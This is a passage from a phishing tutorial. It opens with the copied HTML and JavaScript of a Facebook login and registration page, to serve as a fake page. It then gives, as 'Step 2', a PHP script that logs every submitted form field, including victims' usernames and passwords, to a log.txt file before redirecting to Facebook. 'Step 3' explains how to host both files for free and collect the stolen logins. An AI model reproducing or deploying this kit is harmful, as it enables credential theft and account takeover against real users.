title="Review our terms of service."
href="http://www.facebook.com/legal/terms?ref=pf">Terms</A> ? <A accessKey=0
title="Visit our Help Center."
href="http://www.facebook.com/help/?ref=pf">Help</A></DIV></DIV></DIV></DIV>
<SCRIPT type=text/javascript>/*<![CDATA[*/function si_cj(m){setTimeout(function(){new Image().src="http:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&t=988"+"&m="+m;},5000);}if(top!=self && !false){try{if(parent!=top){throw 1;}var si_cj_d=["apps.facebook.com","\/pages\/","apps.beta.facebook.com"];var href=top.location.href.toLowerCase();for(var i=0;i<si_cj_d.length;i++){if (href.indexOf(si_cj_d[i])>=0){throw 1;}}si_cj("3 ");}catch(e){si_cj("1 \t");window.document.write("\u003cstyle>body * {display:none !important;}\u003c\/style>\u003ca href=\"#\" onclick=\"top.location.href=window.location.href\" style=\"display:block !important;padding:10px\">\u003ci class=\"img sp_7gxzm3 sx_7e668c\" style=\"display:block !important\">\u003c\/i>Go to Facebook.com\u003c\/a>");/*CBAYtfGv*/}}/*]]>*/</SCRIPT>

<SCRIPT>Bootloader.setResourceMap({"1zPSk":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yY\/r\/KgAfuzPx5D9.css"},"7bkGa":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yo\/r\/yxkgLy_Ur_y.css"},"2AhYj":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yY\/r\/Mv9G54gUBAu.css"},"2tnMT":{"type":"css","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yY\/r\/HzGYyo4ICnw.css"},"rqVxj":{"type":"css","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/y3\/r\/j1bykAWTb6F.css"},"lOgl3":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yG\/r\/oSIzbfYX8s-.css"}});Bootloader.setResourceMap({"g1o38":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yZ\/r\/923PvYoemBG.js"},"WFWma":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/y9\/r\/ipKsZUpaofF.js"},"L1k\/a":{"type":"js","module":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yj\/r\/VHNYRANLCCy.js"},"pzflD":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/y5\/r\/HIYMg2szKXG.js"},"F+gVm":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/y_\/r\/rUsa-dVv7T4.js"},"yiife":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yO\/r\/3QaU0baQrDN.js"},"jL\/df":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/y-\/r\/W1JjLF68DpM.js"},"0ado2":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yM\/r\/oYrS_Vw3fY5.js"},"TGESA":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yB\/r\/AOs3dku2wbI.js"},"UUHaO":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yH\/r\/sT0ov7xtOfz.js"},"UP+Dj":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yw\/r\/NdnhbAtXvEc.js"},"ZQXFg":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yd\/r\/dpT-tcRYFZy.js"}});
Bootloader.enableBootload({"dom":["g1o38"],"dom-html":["g1o38"],"error-signal":["g1o38","pzflD"],"async":["g1o38","L1k\/a"],"dialog":["7bkGa","g1o38","L1k\/a"],"iframe-shim":["g1o38","F+gVm"],"maxlength-form-listener":["g1o38","yiife"],"dom-form":["g1o38","L1k\/a"],"PhotoTheater":["g1o38","7bkGa","L1k\/a","jL\/df"],"PhotoTagger":["g1o38","L1k\/a","7bkGa"],"TagToken":["g1o38","0ado2","jL\/df"],"TagTokenizer":["g1o38","0ado2","jL\/df","7bkGa","L1k\/a"],"fb-photos-theater-css":["2AhYj","2tnMT","rqVxj"],"animation":["g1o38"],"Hovercard":["g1o38","L1k\/a","7bkGa"],"live-js":["g1o38","L1k\/a","TGESA"],"photocrop2":["g1o38","lOgl3","jL\/df"],"fb-photos-photo-css":["7bkGa"],"fb-photos-snowbox-css":["7bkGa"],"video-rotate-snowbox":["g1o38","L1k\/a","UUHaO"],"dom-scroll":["g1o38"],"PhotoSnowbox":["g1o38","L1k\/a","7bkGa"],"Toggler":["g1o38","L1k\/a","7bkGa"],"ajaxpipe":["g1o38","L1k\/a"],"Tooltip":["g1o38","L1k\/a","7bkGa"],"input-methods":["g1o38"],"async-signal":["g1o38"],"editor":["g1o38","L1k\/a","UP+Dj"],"registration":["g1o38","L1k\/a","7bkGa","1zPSk","WFWma","UP+Dj","ZQXFg"],"dimension-tracking":["g1o38"],"detect-broken-proxy-cache":["g1o38"]});Arbiter.registerCallback(InitialJSLoader.callback, ["BOOTLOAD\/ROADRUNNER_READY"]);Arbiter.registerCallback(function() {InitialJSLoader.load(["g1o38","WFWma","L1k\/a"]);Arbiter.inform("BOOTLOAD\/ROADRUNNER_READY", true, Arbiter.BEHAVIOR_STATE);}, [OnloadEvent.ONLOAD_DOMCONTENT_CALLBACK]);</SCRIPT>

<SCRIPT>
Bootloader.configurePage(["1zPSk","7bkGa"]);
Bootloader.done(["jDr+c"]);

JSCC.init(({"j4ef4826fab59c9f697421541":function(){return new ContextualDialogX();}}));


onloadRegister(function (){JSCC.get('j4ef4826fab59c9f697421541').initWithoutBuildingWrapper(HTML("\u003cdiv class=\"uiContextualDialogPositioner\" id=\"u8mwyx_1\" data-position=\"above\" data-context=\"u8mwyx_2\">\u003cdiv class=\"uiOverlay uiContextualDialog uiOverlayArrowBottom\" data-width=\"300\" data-hideonblur=\"true\" data-destroyonhide=\"false\">\u003cdiv class=\"uiOverlayContent\">\u003cdiv class=\"uiContextualDialogContent uiContextualDialogDefaultPadding\">\u003cdiv class=\"uiHeader mbs\">\u003cdiv class=\"clearfix uiHeaderTop\">\u003cdiv>\u003ch3 class=\"uiHeaderTitle\">Security Check\u003c\/h3>\u003c\/div>\u003c\/div>\u003c\/div>This is a standard security test that we use to prevent spammers from creating fake accounts and spamming users.\u003c\/div>\u003c\/div>\u003ci class=\"uiOverlayArrow\" style=\"left: 15px;\">\u003c\/i>\u003c\/div>\u003c\/div>"))});
onloadRegister(function (){useragent();});
onloadRegister(function (){if(typeof(Env)=='undefined') Env = {};
            Env['recaptcha_focus_on_load'] = false});
onloadRegister(function (){
      if (typeof RegUtil == 'undefined') {
        RegUtil = function() {};
      }
      RegUtil.captcha_class="ReCaptchaCaptcha";
      RegUtil.recaptcha_public_key="6LfDxsYSAAAAAGGLBGaRurawNnbvAGQw5UwRWYXL";
      });
onloadRegister(function (){if(typeof(Env)=='undefined')Env={};
            Env['recaptcha_lang'] = "en"});
onloadRegister(function (){RegistrationBootloader.init("registration_container", true, "reg""form_focus""https:\/\/www.facebook.com\/ajax\/register.php");});
onloadRegister(function (){startFormTypeABTester($("reg"))});
onloadRegister(function (){window.intl_locale_rewrites = {"meta":{"\/_B\/":"^(.*[.,!?\\s]|)","\/_E\/":"([.,!?\\s].*|)$"},"patterns":{"\/\u0001(.*)('|&#039;)s\u0001(?:'|&#039;)s(.*)\/":"\u0001$1$2s\u0001$3","\/_\u0001([^\u0001]*)\u0001\/e":"mb_strtolower(\"\u0001$1\u0001\")","\/_\u0001([^\u0001]*)\u0001\/":"javascript"}};});
onloadRegister(function (){$("u8mwyx_6").value = tz_calculate(1324647023)});
onloadRegister(function (){try { $("email").focus(); } catch (_ignore) { }});
onloadRegister(function (){FbDesktopDetect.patchLoginForm()});
onafterloadRegister(function (){Bootloader.loadComponents(["dimension-tracking"], function(){  });});
onafterloadRegister(function (){Bootloader.loadComponents(["detect-broken-proxy-cache"], function(){ detect_broken_proxy_cache("0""c_user") });});
</SCRIPT>

<SCRIPT>var big_pipe = new BigPipe({"lid":0,"rrEnabled":1,"forceFinish":true,"delay":0,"jsEarlier":0});</SCRIPT>

<SCRIPT>big_pipe.onPageletArrive({"phase":0,"id":"first_response","is_last":true,"css":["1zPSk","7bkGa"],"js":["g1o38","WFWma","L1k\/a"],"onload":["setCookie(\"reg_fb_ref\", \"http:\\\/\\\/www.facebook.com\\\/\", 0, \"\\\/\");"]});</SCRIPT>

<SCRIPT>big_pipe.onPageletArrive({"phase":1,"id":"","is_last":true,"the_end":true,"css":["1zPSk","7bkGa"],"js":["g1o38","WFWma","L1k\/a"],"tti_phase":1});</SCRIPT>

<DIV id=u8mwyx_1
class="uiContextualDialogPositioner hidden_elem uiContextualDialogAbove"
data-context="u8mwyx_2" data-position="above">
<DIV class="uiOverlay uiContextualDialog uiOverlayArrowBottom"
data-destroyonhide="false" data-hideonblur="true" data-width="300">
<DIV class=uiOverlayContent>
<DIV class="uiContextualDialogContent uiContextualDialogDefaultPadding">
<DIV class="uiHeader mbs">
<DIV class="clearfix uiHeaderTop">
<DIV>
<H3 class=uiHeaderTitle>Security Check</H3></DIV></DIV></DIV>This is a standard
security test that we use to prevent spammers from creating fake accounts and
spamming users.</DIV></DIV><I style="MARGIN-LEFT: 15px; LEFT: 0%"
class=uiOverlayArrow></I></DIV></DIV></BODY></HTML>


 Step 2- Get any php script which can send you password that is entered in fake page. Here is that script just copy it to notepad and save it as (login.php)

<?php
header ('Location: http://www.facebook.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>



Step 3- Upload both index.html and login.php to any free hosting service and its ready to use.
 When the password and id will be entered in fake page it will be save in  log.txt and you can find this file  near  both the file are hosted.